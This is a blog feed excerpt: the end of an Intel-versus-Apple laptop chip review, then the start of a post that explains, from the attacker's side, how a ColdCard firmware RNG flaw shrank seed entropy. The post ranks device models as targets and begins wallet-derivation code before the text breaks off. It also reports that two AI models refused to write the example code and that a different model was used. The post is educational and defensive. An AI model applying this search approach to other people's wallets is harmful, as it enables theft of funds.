<p>The honest reading: in light use, the Dell ties or wins; under sustained load, Apple remains unbeatable. And DHH posted that his XPS 14 running Omarchy Linux gets over 16 hours of real use, with a 1.4W idle draw — Dell made a point of <a href="https://www.dell.com/en-us/blog/year-of-the-linux-laptop-omarchy-on-xps/"target="_blank" rel="noopener">day-one Linux support</a>.</p>
<p>On CPU, the flagship Core Ultra X9 388H against the M5 (<a href="https://www.notebookcheck.net/Intel-Panther-Lake-Core-Ultra-X9-388H-performance-analysis-Outpaces-Arrow-Lake-and-exceeds-Zen-5-in-efficiency.1212583.0.html"target="_blank" rel="noopener">Notebookcheck data</a>):</p>
<table>
  <thead>
      <tr>
          <th>Metric</th>
          <th>Core Ultra X9 388H</th>
          <th>Apple M5</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Cinebench 2024 multi-core</td>
          <td>~1,162</td>
          <td>~1,172 (<strong>statistical tie</strong>)</td>
      </tr>
      <tr>
          <td>Cinebench 2024 single-core</td>
          <td>~130</td>
          <td><strong>200</strong> (~30% ahead)</td>
      </tr>
      <tr>
          <td>Single-core efficiency</td>
          <td>5.17 pts/watt</td>
          <td><strong>13.1 pts/watt</strong></td>
      </tr>
      <tr>
          <td>Multi-core efficiency capped at 20W</td>
          <td>24.6 pts/watt</td>
          <td>24.8 (M4)</td>
      </tr>
  </tbody>
</table>
<p>Single-core remains Apple&rsquo;s territory — it does the same work <strong>on a third of the energy</strong>. But in moderate multi-core, Intel caught up. Against AMD (Ryzen AI 9 465) the 388H wins across the board; against the first-gen Snapdragon X Elite too; the X2 Elite Extreme, which arrived in 2026, already handed the Windows CPU crown back to Qualcomm (+24% in single-core). Honesty above all.</p>
<p>On GPU, the verdict is more mixed than Intel&rsquo;s marketing suggests:</p>
<table>
  <thead>
      <tr>
          <th>Arc B390 matchup</th>
          <th>Result</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>vs Radeon 890M (AMD)</td>
          <td><a href="https://videocardz.com/newz/intel-arc-b390-beats-amds-mainstream-igpus-and-nears-rtx-4050-level-performance-in-some-tests"target="_blank" rel="noopener">+63 to 80%</a></td>
      </tr>
      <tr>
          <td>vs laptop RTX 4050</td>
          <td>dead heat</td>
      </tr>
      <tr>
          <td>vs Strix Halo (AMD) at 15-20W</td>
          <td><a href="https://www.notebookcheck.net/No-chance-for-AMD-Intel-Panther-Lake-Core-Ultra-X9-388H-trounces-AMD-Strix-Halo-at-low-power-signaling-handheld-gaming-domination-in-2026.1213244.0.html"target="_blank" rel="noopener">wins</a></td>
      </tr>
      <tr>
          <td>vs base M5 GPU</td>
          <td>wins on performance, loses on fps/watt</td>
      </tr>
      <tr>
          <td>vs M5 Pro / M5 Max</td>
          <td><a href="https://nanoreview.net/en/gpu-compare/intel-arc-b390-vs-apple-m5-max-gpu-40-core"target="_blank" rel="noopener">17 against 24 and 44</a> — no chance</td>
      </tr>
  </tbody>
</table>
<p><a href="https://arstechnica.com/gadgets/2026/02/intel-panther-lake-core-ultra-review-intels-best-laptop-cpu-in-a-very-long-time/"target="_blank" rel="noopener">Ars Technica&rsquo;s</a> summary is the fairest: &ldquo;Intel&rsquo;s best laptop CPU in a very long time&rdquo; — with the caveat that Intel must prove this is the new normal, not an aberration.</p>
<blockquote>
  <p><strong>Remember this:</strong> MacBook battery life in an x86 laptop happened — in light use. In single-core and under heavy load, Apple still sets the pace.</p>

</blockquote>
<h2>The belief: &ldquo;to be efficient you have to be ARM&rdquo;<span class="hx:absolute hx:-mt-20" id="the-belief-to-be-efficient-you-have-to-be-arm"></span>
    <a href="#the-belief-to-be-efficient-you-have-to-be-arm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Every programmer has heard the explanation: ARM has a simple, fixed-length, elegant instruction set. x86 is a chimera accumulated since 1978, with variable-length instructions, real mode, segmentation, decades of mess. &ldquo;Therefore&rdquo; ARM is inherently more efficient, and the way for anyone to reach Apple- or Qualcomm-class efficiency is to move to ARM64.</p>
<p>There&rsquo;s truth in there: x86 does carry historical baggage, and decoding variable-length instructions is objectively more annoying than decoding fixed 32-bit ones. The error is in the conclusion. That difference mattered when decode logic occupied a significant fraction of the chip. That was a long time ago.</p>
<blockquote>
  <p><strong>Remember this:</strong> the ISA difference mattered when decoding occupied a relevant fraction of the die. That ended generations ago.</p>

</blockquote>
<h2>x86 became a translation layer in 1995<span class="hx:absolute hx:-mt-20" id="x86-became-a-translation-layer-in-1995"></span>
    <a href="#x86-became-a-translation-layer-in-1995" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The Pentium Pro, from November 1995, already didn&rsquo;t execute x86 directly: it translated each CISC instruction into internal RISC-like micro-operations and executed those. AMD did the same with the K5 in 1996 (its &ldquo;ROPs&rdquo;). In other words: for <strong>thirty years</strong>, &ldquo;executing x86&rdquo; has meant &ldquo;translate it into something else and execute the something else.&rdquo; x86 is a compatibility interface, a translation layer over a RISC engine. And the numbers show how cheap that layer became:</p>
<table>
  <thead>
      <tr>
          <th>Measurement</th>
          <th>Result</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Micro-ops per x86 instruction (Pentium Pro, Intel data)</td>
          <td>1.2 to 1.7</td>
      </tr>
      <tr>
          <td>Micro-op cache hit rate (since Sandy Bridge, 2011)</td>
          <td>~80% overall, ~100% in hot loops</td>
      </tr>
      <tr>
          <td>Decoder cost on Haswell (<a href="https://research.aalto.fi/en/publications/empirical-study-of-the-power-consumption-of-the-x86-64-instructio/"target="_blank" rel="noopener">Hirki et al., 2016</a>)</td>
          <td>3 to 10% of package power, worst case</td>
      </tr>
      <tr>
          <td>Cost of disabling the micro-op cache (<a href="https://chipsandcheese.com/p/how-zen-2s-op-cache-affects-performance"target="_blank" rel="noopener">Zen 2, Chips and Cheese</a>)</td>
          <td>+4 to 10% in the core, +0.5 to 6% at the package</td>
      </tr>
  </tbody>
</table>
<p>When the micro-op cache hits, the fetch and decode hardware is literally switched off. The Hirki study&rsquo;s conclusion is dry: &ldquo;the x86-64 instruction set is not a major hindrance in producing an energy-efficient processor.&rdquo; And the definitive academic study — <a href="https://research.cs.wisc.edu/vertical/papers/2013/hpca13-isa-power-struggles.pdf"target="_blank" rel="noopener">Blem, Menon, and Sankaralingam, HPCA 2013</a>, actually measuring ARM against x86 — concluded: instruction count and mix are ISA-independent to first order, performance differences come from microarchitecture, and &ldquo;the energy consumption is again ISA-independent.&rdquo;</p>
<p>Jim Keller — the guy who designed AMD&rsquo;s Zen and Apple&rsquo;s A4/A5 chips, someone who has lived on both sides — put it even more bluntly in an AnandTech interview: variable-length decode &ldquo;isn&rsquo;t dominating the die, so it doesn&rsquo;t matter that much.&rdquo; What limits performance today, in his words, is branch predictability and data locality.</p>
<p>And here&rsquo;s the detail that kills the myth for good: modern ARM does the same thing. The Cortex-A77 has a micro-op cache. Samsung added one to the Exynos M5 explicitly to save fetch and decode power. Fujitsu&rsquo;s A64FX — the ARM inside the Fugaku supercomputer — decodes the SVE <code>FADDA</code> instruction into <strong>63 micro-ops</strong>. Sixty-three. The fantasy of &ldquo;ARM is one instruction per cycle, simple and pure&rdquo; hasn&rsquo;t existed in any high-performance ARM for a long time.</p>
<p>One honest nuance before moving on: x86&rsquo;s variable length really does make very wide decoders harder to build — Apple decodes <strong>up to twice as many</strong> instructions per cycle as an x86. That&rsquo;s a real engineering difficulty. But you pay for it in logic area, which is cheap, not in consumption proportional to the work — which is what defines battery life.</p>
<blockquote>
  <p><strong>Remember this:</strong> for thirty years, no x86 has executed x86 — everything becomes RISC-style micro-ops. The ISA became a compatibility interface.</p>

</blockquote>
<h2>The transistor math<span class="hx:absolute hx:-mt-20" id="the-transistor-math"></span>
    <a href="#the-transistor-math" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>To understand why the decode burden evaporated, look at the evolution:</p>
<table>
  <thead>
      <tr>
          <th>Year</th>
          <th>Chip</th>
          <th>Process</th>
          <th>Transistors</th>
          <th>Milestone</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>2000</td>
          <td>Pentium 4 Willamette</td>
          <td>180nm</td>
          <td>42 million</td>
          <td>the rising-clock era</td>
      </tr>
      <tr>
          <td>2006</td>
          <td>Core 2 Duo</td>
          <td>65nm</td>
          <td>291 million</td>
          <td>the post-Tejas multicore pivot</td>
      </tr>
      <tr>
          <td>2007</td>
          <td>Penryn</td>
          <td>45nm</td>
          <td>410 million</td>
          <td>industry&rsquo;s first high-k metal gate</td>
      </tr>
      <tr>
          <td>2011</td>
          <td>Ivy Bridge</td>
          <td>22nm</td>
          <td>1.4 billion</td>
          <td>3D FinFET, -50% power at the same performance</td>
      </tr>
  </tbody>
</table>
<p>In 2000, every block of logic was a tight budget, and x86&rsquo;s mess was expensive. As transistors became infinite for all practical purposes, the decoder&rsquo;s fixed cost became pocket change. Along the way, two important shifts:</p>
<ul>
<li><strong>Dennard scaling died around 2005.</strong> Leakage current stopped clocks from climbing, Intel canceled Tejas in 2004, and the world went multicore. Clocks stalled in the 1-4GHz range and never left.</li>
<li><strong>Moore&rsquo;s law became economics, not physics.</strong> Cost per transistor stopped falling at 28nm: a leading-edge fab today costs US$20 to 30 billion, and an ASML High-NA EUV machine costs US$350 million.</li>
</ul>
<p>And what occupies die and consumes energy in a modern chip? Giant caches, branch predictors, dozens of execution ports, GPU, NPU, media engines. The x86 decoder doesn&rsquo;t even show up in the bread line.</p>
<p>And history hands us the perfect empirical proof: from 2015 to 2021, Intel was stuck at 14nm — Skylake and its derivatives, six years of stagnant process from manufacturing failure. Even so, those old 14nm cores traded blows with AMD&rsquo;s Zen 2, built on TSMC 7nm. If x86 were the problem, that would be impossible. The bottleneck was the fab. It was the fab all along.</p>
<blockquote>
  <p><strong>Remember this:</strong> six years stuck at 14nm, and Intel still competed with TSMC 7nm chips. The bottleneck was the fab, never the ISA.</p>

</blockquote>
<h2>What actually makes Apple efficient<span class="hx:absolute hx:-mt-20" id="what-actually-makes-apple-efficient"></span>
    <a href="#what-actually-makes-apple-efficient" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The M1 isn&rsquo;t efficient &ldquo;because it&rsquo;s ARM.&rdquo; Apple has held an ARM architectural license since the A6, in 2012: it designs its own cores from scratch, and only the instruction set is ARM&rsquo;s. When AnandTech dissected the M1&rsquo;s Firestorm core, the contrast with contemporary x86 was about engineering choices, not instructions:</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>Apple Firestorm (M1, 2020)</th>
          <th>Intel Sunny Cove (2019)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Decode per cycle</td>
          <td>8</td>
          <td>4</td>
      </tr>
      <tr>
          <td>Reorder buffer</td>
          <td>~630 entries</td>
          <td>352 entries</td>
      </tr>
      <tr>
          <td>L1 instruction cache</td>
          <td>192KB</td>
          <td>32KB</td>
      </tr>
  </tbody>
</table>
<p>In practice: twice the decode width, nearly twice the reorder buffer, <strong>six times</strong> the instruction cache. Add unified memory soldered into the package and a cutting-edge TSMC process. That&rsquo;s aggressive microarchitecture, enormous caches, vertical integration, and a leading-edge process — all expensive, all deliberate, and none of it comes free with the ISA.</p>
<p>The reciprocal is also true, by the way: you can make bad ARM. The market is full of mediocre ARM. Efficiency is an engineering and process choice, not an ISA birth certificate.</p>
<blockquote>
  <p><strong>Remember this:</strong> the M1 is efficient because of microarchitecture, cache, process, and vertical integration — not &ldquo;because it&rsquo;s ARM.&rdquo;</p>

</blockquote>
<h2>Your favorite instructions aren&rsquo;t x86 or ARM<span class="hx:absolute hx:-mt-20" id="your-favorite-instructions-arent-x86-or-arm"></span>
    <a href="#your-favorite-instructions-arent-x86-or-arm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>And there&rsquo;s something else almost nobody mentions in this debate: much of what a modern CPU executes doesn&rsquo;t belong to either side&rsquo;s &ldquo;classic&rdquo; instruction set. Look at what runs outside it:</p>
<ul>
<li><strong>Video.</strong> On Intel, decoding lives in Quick Sync, fixed-function hardware that has existed since Sandy Bridge — a separate block with nothing to do with the x86 legacy. It&rsquo;s because of it that Frandroid measured the Snapdragon X2 <strong>58% slower</strong> than Panther Lake in video export.</li>
<li><strong>Cryptography.</strong> AES-NI exists since 2010, SHA extensions since 2016 — dedicated instructions added decades after the &ldquo;old x86.&rdquo;</li>
<li><strong>AI and matrices.</strong> AVX-512, then AVX10, and AMX, a matrix tile accelerator. The ARM side has the equivalents: NEON, SVE, SME.</li>
</ul>
<p>Chips and Cheese ran the perfect experiment: in the same 4K HEVC encode, an Ampere ARM took <strong>more than twelve times</strong> as long as a Zen 2 with stock ffmpeg; using NEON assembly cut the ARM time by more than 60%. The difference was never ARM versus x86 — it was well-used vector extensions versus ignored vector extensions. In the real world, the heavy lifting lives in the extensions and accelerators, and those are orthogonal to the base ISA.</p>
<blockquote>
  <p><strong>Remember this:</strong> modern heavy lifting — video, crypto, AI — runs on dedicated extensions and accelerators, orthogonal to the base ISA.</p>

</blockquote>
<h2>The fall was managerial, not architectural<span class="hx:absolute hx:-mt-20" id="the-fall-was-managerial-not-architectural"></span>
    <a href="#the-fall-was-managerial-not-architectural" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Here&rsquo;s the part that convinces me completely. Look at the timeline and try to find &ldquo;x86 was a fundamental limitation&rdquo; anywhere in it:</p>
<ul>
<li><strong>2005-2006</strong>: Intel passes on making the iPhone&rsquo;s chip — Otellini admitted the regret in his exit interview with The Atlantic: &ldquo;the world would have been a lot different.&rdquo; And the tragicomic detail: Intel <strong>had</strong> an ARM division (XScale) — and sold it to Marvell in 2006 for US$600 million. It wasn&rsquo;t a lack of technology; it was a lack of vision.</li>
<li><strong>2013-2021</strong>: three CEOs. Krzanich left in 2018 over an internal scandal. In came Bob Swan, a finance CFO, to run an engineering company at the most delicate moment in its history.</li>
<li><strong>2018-2020</strong>: 10nm became a joke (Cannon Lake only in limited release) and in July 2020 Intel announced a 7nm delay — the stock dropped 16% in a day. In April 2019, it abandoned the 5G smartphone modem business; Apple bought the modem unit for US$1 billion. In November 2020, the M1.</li>
<li><strong>2021-2024</strong>: Gelsinger returned with the IDM 2.0 plan, &ldquo;five nodes in four years.&rdquo; In December 2024 he was pushed into &ldquo;retirement&rdquo; — a board ultimatum, per Reuters and Bloomberg. The year closed with a <strong>US$18.8 billion</strong> loss, 15,000 layoffs, a suspended dividend, and Intel expelled from the Dow Jones after 25 years — replaced by Nvidia, which at that point was worth <strong>more than 30 times</strong> Intel. By October 2025, the cumulative layoff count had reached 35,500.</li>
</ul>
<p>Nothing on that list is architecture. It&rsquo;s missed products, delayed fabs, wrong decision after wrong decision. x86 was there, competent, while the company dismantled itself around it.</p>
<blockquote>
  <p><strong>Remember this:</strong> the iPhone pass, the XScale sale, the broken 10nm, three CEOs, a US$18.8 billion loss — Intel&rsquo;s fall was decision after decision, not an x86 limitation.</p>

</blockquote>
<h2>The unlikely rescue<span class="hx:absolute hx:-mt-20" id="the-unlikely-rescue"></span>
    <a href="#the-unlikely-rescue" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>And then 2025 happened. Lip-Bu Tan took over in March. In August, Trump demanded his head on Truth Social over China ties — and just days later, after a White House meeting, became a fan. On August 22, the US government <a href="https://newsroom.intel.com/corporate/intel-and-trump-administration-reach-historic-agreement"target="_blank" rel="noopener">bought 9.9% of Intel</a>: 433.3 million shares at US$20.47, US$8.9 billion total, converting CHIPS Act grants into equity, with no board seat. SoftBank put in <a href="https://newsroom.intel.com/corporate/softbank-group-and-intel-corporation-sign-2b-investment-agreement"target="_blank" rel="noopener">US$2 billion</a>. And the surreal cherry on top: <strong>Nvidia</strong> — the same company that replaced it on the Dow — <a href="http://nvidianews.nvidia.com/news/nvidia-and-intel-to-develop-ai-infrastructure-and-personal-computing-products"target="_blank" rel="noopener">invested US$5 billion</a> and signed a partnership to put RTX chiplets into x86 CPUs.</p>
<p>The financial results started showing: Q1 2026 revenue of US$13.6 billion (+7% year over year), Q2 at US$16.1 billion (+25%), seventh consecutive quarter above projections. The stock the government paid US$20.47 for reached <strong>more than six times</strong> that price in May, when Bloomberg reported talks for Intel to manufacture Apple chips — preliminary reporting, production years away, but the market went wild. Even after cooling off, the US government&rsquo;s position is still worth <strong>five times</strong> what it cost. The American taxpayer is, today, a profitable Intel shareholder. Go figure.</p>
<blockquote>
  <p><strong>Remember this:</strong> the US government, SoftBank, and Nvidia as shareholders, and the stock five times above the government&rsquo;s entry price — Intel became a national cause, and the market bought the comeback.</p>

</blockquote>
<h2>The comeback, feet on the ground<span class="hx:absolute hx:-mt-20" id="the-comeback-feet-on-the-ground"></span>
    <a href="#the-comeback-feet-on-the-ground" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Panther Lake is the first big product on 18A — RibbonFET (gate-all-around transistors) plus PowerVia (backside power delivery), coming out of Fab 52 in Chandler, Arizona. There&rsquo;s delicious irony here: the flagship&rsquo;s 12-core GPU tile is still manufactured by TSMC. And 18A yields (the fraction of good chips per wafer), per Tom&rsquo;s Hardware, should only reach industry-standard levels in 2027 — the ramp is slow, and Ars Technica asks the right question: is this the new normal or an aberration?</p>
<p>But the point of this article isn&rsquo;t cheerleading. It&rsquo;s that Panther Lake empirically closes a debate that was theological. An x86-64 on a competitive process delivers MacBook battery life, ties the M5 in multi-core, and beats the Windows competition in several scenarios. If the ISA were the decisive factor, that would never happen, on any process. What brought Intel down was management; what brings it back is fabs and focus; and what separates Apple, Qualcomm, AMD, and Intel is microarchitecture, cache, process, and integration — exactly as Jim Keller and the literature always said.</p>
<p>I&rsquo;m rooting for the comeback. Not out of nostalgia from someone who built PCs with Pentiums, but because the efficient-laptop market was settling into a comfortable duopoly — and a comfortable duopoly is the enemy of price and innovation. Let the fight go on.</p>
<blockquote>
  <p><strong>Remember this:</strong> Panther Lake closes a theological debate: competitive x86 exists when the fab is competitive. It was never about instructions.</p>

</blockquote>
]]></content:encoded><category>hardware</category><category>reviews</category></item><item><title>Exploiting Coinkite's RNG Egregious Problem</title><link>https://www.akitaonrails.com/en/2026/08/01/exploiting-coinkites-rng-egregious-problem/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/08/01/exploiting-coinkites-rng-egregious-problem/</guid><pubDate>Sat, 01 Aug 2026 09:00:00 -0300</pubDate><description>&lt;p&gt;Yesterday I published the practical warning: &lt;a href="https://www.akitaonrails.com/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/"&gt;if you keep Bitcoin on a ColdCard, move everything&lt;/a&gt;. Today I will show &lt;strong&gt;how&lt;/strong&gt; it works from the attacker&amp;rsquo;s side. This is not a tutorial for stealing; it is a didactic explanation of a bug class that few people know from the inside, using real blockchain data and code any programmer can read.&lt;/p&gt;
&lt;p&gt;The didactic code in this article was generated with &lt;strong&gt;Kimi K3&lt;/strong&gt;. It is worth noting that, given the same prompt, both &lt;strong&gt;Claude&lt;/strong&gt; and &lt;strong&gt;GPT&lt;/strong&gt; refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Yesterday I published the practical warning: <a href="/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/">if you keep Bitcoin on a ColdCard, move everything</a>. Today I will show <strong>how</strong> it works from the attacker&rsquo;s side. This is not a tutorial for stealing; it is a didactic explanation of a bug class that few people know from the inside, using real blockchain data and code any programmer can read.</p>
<p>The didactic code in this article was generated with <strong>Kimi K3</strong>. It is worth noting that, given the same prompt, both <strong>Claude</strong> and <strong>GPT</strong> refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.</p>
<p>The goal is to answer, line by line, a question many people asked: &ldquo;if the ColdCard stays offline, how did the bitcoins disappear?&rdquo;.</p>
<blockquote>
  <p><strong>Warning:</strong> the code here is educational. Running it against addresses that are not yours is a crime. Use it to understand the risk, test your own seeds in a controlled environment, and reinforce why you need to generate fresh entropy.</p>

</blockquote>
<h2>Summary of the previous post<span class="hx:absolute hx:-mt-20" id="summary-of-the-previous-post"></span>
    <a href="#summary-of-the-previous-post" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Between March 2021 and the July 2026 fix, several ColdCard firmwares generated seeds from a deterministic generator instead of the hardware TRNG. The blame lies in a botched integration: the macro <code>MICROPY_HW_ENABLE_RNG</code> was defined as <code>0</code>, but the guard in <code>libNgU</code> used <code>#ifndef</code>, which only asks whether the symbol exists. The build succeeded, the <code>rng_get()</code> call fell through to MicroPython&rsquo;s <a href="http://www.literatecode.com/yasmarang"target="_blank" rel="noopener">Yasmarang</a> software fallback, and the seed became a product of the microcontroller UID and timing registers.</p>
<p>For readers who do not work with hardware, here is what those acronyms mean:</p>
<ul>
<li><strong>UID</strong> (<em>Unique Identifier</em>) is the serial number burned into the microcontroller chip at the factory. In the STM32F4 used by the ColdCard, it is 96 bits long — something like <code>0x4A3F B201 C847 D5E9 1234 5678</code>. Every chip leaves the assembly line with a different UID, but it is fixed and can be read by software. If the attacker knows (or can constrain) this number, they eliminate one of the unknowns.</li>
<li><strong>RTC</strong> (<em>Real-Time Clock</em>) is the microcontroller&rsquo;s real-time clock. In a PC, that clock is usually backed by a coin-cell battery and keeps running while the machine is off. <strong>The ColdCard has no such battery.</strong> On Mk2/Mk3 the RTC oscillator is disabled at startup, which strongly suggests that the <code>RTC-&gt;TR</code> and <code>RTC-&gt;SSR</code> registers read as zero or a static value every time the device cold-boots. On Mk4/Q/Mk5 an RTC source is configured but marked unused, and MicroPython&rsquo;s RTC initialization remains disabled. In other words, &ldquo;time&rdquo; is not a fresh entropy source here — it is another fixed or predictable value that an attacker can profile.</li>
<li><strong>SysTick</strong> is another timer, this one inside the ARM core itself, counting at high speed — typically from 0 to <code>0x00FFFFFF</code> and rolling over. When the firmware reads this counter at seed-creation time, it captures a value like <code>0x003D7A12</code>. Because the RTC likely does not vary across cold boots, SysTick becomes practically the only dynamic element of the initial state. <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> estimates that, by itself, it can shrink the space to ~80,000 possibilities (~16 bits).</li>
</ul>
<p>Block&rsquo;s <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">independent analysis</a> and Coinkite&rsquo;s <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">technical backgrounder</a> agree on the mechanism, although they differ on impact details. Yesterday&rsquo;s post has the full affected-firmware table.</p>
<p>The central point is: <strong>the effective entropy dropped from at least 128 bits to roughly 40 bits on the Mk3 and 72 bits (with caveats) on newer models.</strong> Forty bits are not secure. They are enumerable with cheap hardware.</p>
<h2>The wallet does not sit &ldquo;inside&rdquo; the ColdCard<span class="hx:absolute hx:-mt-20" id="the-wallet-does-not-sit-inside-the-coldcard"></span>
    <a href="#the-wallet-does-not-sit-inside-the-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before diving into the attack, repeat the basics. Bitcoin does not sit inside the device. The public blockchain contains UTXOs — transaction outputs — locked by scripts. What your wallet stores is the material to produce signatures that satisfy those scripts.</p>
<p>In the most common case, a native SegWit address is derived from a public key, which in turn comes from a private key, which is just an integer inside the domain of the <code>secp256k1</code> curve. Whoever knows the integer can sign. Whoever does not, cannot.</p>
<p>That is why the ColdCard can be powered off, battery-less, inside a safe. The attacker does not need to touch it. They only need to reproduce the same integer that the device drew. With a weak RNG, that stops being impossible and becomes a small search space.</p>
<p>You can see any wallet on the blockchain. Just paste an address or xpub into an explorer like <a href="https://mempool.space"target="_blank" rel="noopener">mempool.space</a>. The explorer shows balance, UTXOs, and history because that data is public by design. The ColdCard, Ledger, Sparrow, Electrum — none of them &ldquo;hold&rdquo; your bitcoins; they only keep the keys that let you spend the UTXOs in the global ledger.</p>
<h2>How the attacker prioritizes models<span class="hx:absolute hx:-mt-20" id="how-the-attacker-prioritizes-models"></span>
    <a href="#how-the-attacker-prioritizes-models" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Not all models are equally easy to attack. The priority order follows the search-space size:</p>
<table>
  <thead>
      <tr>
          <th>Model / firmware</th>
          <th>What the attacker must guess</th>
          <th>Approximate space</th>
          <th>Priority</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2/Mk3 v4.0.0–v4.1.9</td>
          <td>Chip UID, timer state, RNG call history</td>
          <td>~40 bits in Coinkite&rsquo;s model; deterministic if everything is known</td>
          <td><strong>1st — attack first</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 without successful reseed</td>
          <td>Same fallback as above, with possible silent secure-element failure</td>
          <td>~41 bits</td>
          <td><strong>2nd</strong></td>
      </tr>
      <tr>
          <td>Mk4/Q/Mk5 with normal reseed</td>
          <td>Fallback state + 32 bits from secure element</td>
          <td>~72 bits raw, of which 32 bits are real added secret</td>
          <td><strong>3rd — more expensive</strong></td>
      </tr>
      <tr>
          <td>Mk1; Mk2/Mk3 up to v3.2.2</td>
          <td>Hardware TRNG working</td>
          <td>~256 bits</td>
          <td>unreachable</td>
      </tr>
  </tbody>
</table>
<p>Why is the Mk3 the easiest? Because it has no cryptographic contribution from a secure element. The Yasmarang fallback is fully deterministic given the UID and timer state. If the attacker knows (or can constrain) those values, there is no residual secret. Coinkite estimates the effective space at about 40 bits; <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> shows that, because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, SysTick alone limits the space to ~80,000 values, i.e. ~16 bits.</p>
<p>On Mk4/Q/Mk5 the secure-element reseed adds 32 bits. That is enough to make the attack much more expensive — but still far from the acceptable 128-bit minimum. Block also points out a source path where a caught exception during initialization can prevent the reseed, falling back to the smaller space.</p>
<p>A rational attacker starts with the biggest return: Mk2/Mk3 v4. Only with leftover resources do they move to Mk4/Q/Mk5.</p>
<h2>128 bits, 40 bits, and 72 bits: what is the difference?<span class="hx:absolute hx:-mt-20" id="128-bits-40-bits-and-72-bits-what-is-the-difference"></span>
    <a href="#128-bits-40-bits-and-72-bits-what-is-the-difference" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bits measure the size of the search space. Each extra bit doubles the work. The difference is not small — it is exponential.</p>
<p>Imagine you can test <strong>1 billion candidates per second</strong>:</p>
<table>
  <thead>
      <tr>
          <th>Bits</th>
          <th>Candidates</th>
          <th>Time to search exhaustively</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>40</td>
          <td>~1.1 trillion</td>
          <td>~18 minutes</td>
      </tr>
      <tr>
          <td>72</td>
          <td>~4.7 sextillion</td>
          <td>~150,000 years</td>
      </tr>
      <tr>
          <td>128</td>
          <td>~3.4 × 10³⁸</td>
          <td>~10²² years (many orders of magnitude beyond the age of the universe)</td>
      </tr>
  </tbody>
</table>
<p>Another way to picture it: 40 bits is like finding a specific leaf in a small forest. 72 bits is like finding a specific grain of sand on all the beaches on Earth. 128 bits is like finding a specific atom among the atoms of thousands of planets.</p>
<p>That is why 40 bits is not &ldquo;slightly less secure&rdquo; than 128. It is a completely different category: practical to attack with common hardware. 72 bits already demands serious resources, but still falls short of the acceptable minimum for storing value. 128 bits is the standard because, with known computing power, it cannot be beaten.</p>
<h2>From an integer to a wallet<span class="hx:absolute hx:-mt-20" id="from-an-integer-to-a-wallet"></span>
    <a href="#from-an-integer-to-a-wallet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Below is a real example of how a number (the entropy) becomes a seed, a private key, and an address. I used 16 bytes (128 bits) just to fit on one line; the ColdCard used 32 bytes, but the idea is the same.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_from_bytes</span><span class="p">,</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.script</span> <span class="kn">import</span> <span class="n">p2wpkh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">entropy</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s2">&#34;0123456789abcdef0123456789abcdef&#34;</span><span class="p">)</span>  <span class="c1"># 128 bits</span>
</span></span><span class="line"><span class="cl"><span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
